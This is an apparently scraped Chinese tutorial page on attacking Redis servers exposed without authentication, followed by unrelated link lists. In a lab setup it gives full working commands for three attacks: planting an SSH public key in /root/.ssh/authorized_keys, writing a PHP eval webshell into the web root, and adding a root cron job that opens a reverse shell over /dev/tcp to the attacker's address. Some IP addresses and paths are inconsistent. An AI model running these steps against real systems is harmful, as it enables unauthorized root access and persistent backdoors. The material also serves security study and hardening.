Redis基础

1

Redis基础

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

1

1

实验漏洞环境搭建

模拟服务器centos7.5:192.168.3.134

模拟攻击机kali linux2020:192.168.3.135

两台主机均要安装ssh 这个百度一大堆不在赘述。

攻击机模拟机均安装Redis

之前试过编译安装太麻烦了 centos 和kali 直接yum 就完成了所有的安装

yum -y install redis

编辑redis配置文件

vim /etc/redis.conf
第一个修改的地方 bind 127.0.0.1 前面加上#注释掉 允许取出除本地外的主机远程登录redis服务。
如不过不注释的话会强制redis只监听IPv4本地地址 而其他地址就无法访问。

第二个要修改的地方是protected 将yes改为no 关闭保护模式,允许远程连接redis服务 

使用配置文件启动redis

redis-server /etc/redis.conf

linux免密码登陆SSH

1.原理

首先了解下SSH的登陆方式,在SSH中有两种登陆方式 一种是账户密码登陆 还有一种就是公私钥登陆

一种是基于账户密码的安全验证只要知道自己的账户和密码就可以登陆到远程主机,

另一种今天的主角 它是基于密钥的安全验证首先要创建一对密钥,并把公钥放在访问的服务器上。这时候如果你要连接到ssh服务器上客户端软件就会像服务端发出请求,请求使用你客户机的密钥进行安全验证。 服务器收到请求后,会立即在自己的机器上的当前要登陆的账户主目录下寻找公钥密钥,然后把它和你发送过来的公用密钥进行比较,如果一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件,客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。

redis未授权访问的原理是攻击机在可以未授权的情况下访问服务器B的Redis 将数据通过Redis通信传递到服务器B的用户家目录下的.ssh文件夹内 这样攻击机A发出ssh请求到服务器B就可以免密码验证啦。

在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

mkdir /root/.sh

在/root/.sh目录下创建公私钥 密码设置为空 回车回车即可

会生成两个一个是私钥一个是公钥

ssh-keygen -t rsa

将公钥保存到key中

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

通过redis将key写入到服务器中

 cat key.txt | redis-cli -h 192.168.3.134 -x set hack

连接目标主机的redis

redis-cli -h 192.168.10.153

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh //设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys

将数据保存

save

免密码登陆目标服务器

ssh 192.168.3.1

成功免密码登陆

通过Redis在web目录下写入webshell

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)

redis-cli -h 192.168.3.134   //连接目标
config set dir /var/www/html //设置dir的目录
set xiaohua "\n\n\n<?php @eval($_POST['xiaohua']);?>\n\n\n" //将小马存入xiaohua中
config set dbfilename webshell.php //设置数据文件为webshell.php
save //保存

成功被写入

利用linux定时任务反弹shell

redis-cli -h 192.168.3.134
CONFIG SET dir /var/spool/cron //切换到定时任务目录
CONFIG SET dbfilename root //生成一个root文件
set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.3.135/4444 0>&1\n\n" //设置反弹shell
save //保存

Redis基础

1

1

Redis基础

1

1

Redis基础

1

1

Redis的一些攻击手法整理的更多相关文章

  1. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  2. 【转载】Redis 4.0 自动内存碎片整理(Active Defrag)源码分析

    click原文链接原文链接:https://blog.csdn.net/zouhuajianclever/article/details/90669409阅读本文前建议先阅读此篇博客: Redis源码 ...

  3. Redis配置及攻击利用

    Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  4. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

  5. Redis面试题及答案整理

    1.什么是Redis?简述它的优缺点? Redis的全称是:Remote Dictionary.Server,本质上是一个Key-Value类型的内存数据库,很像memcached,整个数据库统统加载 ...

  6. 50道Redis面试题及答案整理,史上最全!

    在网上看到有关Redis的50道面试题,但是没有给出答案,之前我也在寻找这份Redis面试题的答案,今天特地把答案分享出来. 花了大量时间整理了这套Redis面试题及答案,希望对大家有帮助哈~ 弄明白 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. python连接MySQL/redis/mongoDB数据库的简单整理

    python连接mysql 用python操作mysql,你必须知道pymysql 代码示意: import pymysql conn = pymysql.connect(host='127.0.0. ...

  9. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

随机推荐

  1. 拿了十几个offer,怎样做选择?

    本文已经收录至我的GitHub,欢迎大家踊跃star 和 issues. https://github.com/midou-tech/articles 最近收到好几个读者的咨询,关于如何选offer的 ...

  2. LruCache缓存bitmap(三)

    应用在网络连接上,onrestart后不会重新联网获取图片,省去了流量, public class MainActivity extends AppCompatActivity { ImageView ...

  3. 树和堆(julyedu网课整理)

    date: 2018-12-05 16:59:15 updated: 2018-12-05 16:59:15 树和堆(julyedu网课整理) 1 定义 1.1 树的定义 它是由n(n>=1)个 ...

  4. AWS Lambda 借助 Serverless Framework,迅速起飞

    前言 微服务架构有别于传统的单体式应用方案,我们可将单体应用拆分成多个核心功能.每个功能都被称为一项服务,可以单独构建和部署,这意味着各项服务在工作时不会互相影响 这种设计理念被进一步应用,就变成了无 ...

  5. .net npoi读word内容+目录

    最近在做读npoi文档存入搜索引擎,实现快速查询word文档中内容并展示,效果希望带有目录导航. 网上有很多例子都是读写操作,很肤浅没有具体读到想要的东西所以自己就写了个demo,也有微软提供的off ...

  6. python接口自动化测试--批量读取数据

    为了便于维护,python接口自动化测试用例可以利用xlrd模块读取excal表格进行数据分离.我们可以利用xlrd模块的row_values()和cell_value()两种方法读取Excal表格. ...

  7. Rancher 2.5特性解读丨更简单友好的API和Dashboard

    本文来自Rancher Labs 关注我们,看K8S干货教程 作者简介 张智博,Rancher中国研发与产品总监.7年云计算领域经验,一直活跃在研发一线,经历了OpenStack到Kubernetes ...

  8. Spring笔记(6) - Spring的BeanFactoryPostProcessor探究

    一.背景 在说BeanFactoryPostProcessor之前,先来说下BeanPostProcessor,在前文Spring笔记(2) - 生命周期/属性赋值/自动装配及部分源码解析中讲解了Be ...

  9. python爬虫中的requests模块

    Requests: 让 HTTP 服务人类 一.简介 虽然Python的标准库中 urllib 模块已经包含了平常我们使用的大多数功能,但是它的 API 使用起来让人感觉不太好,而 Requests ...

  10. 《Clojure编程》笔记 第13章 测试

    目录 背景简述 第13章 测试 13.1 术语 13.2 clojure.test 13.2.1 定义测试的两种方式 13.2.1.1 用deftest宏把测试定义成单独的函数 13.2.1.2 用w ...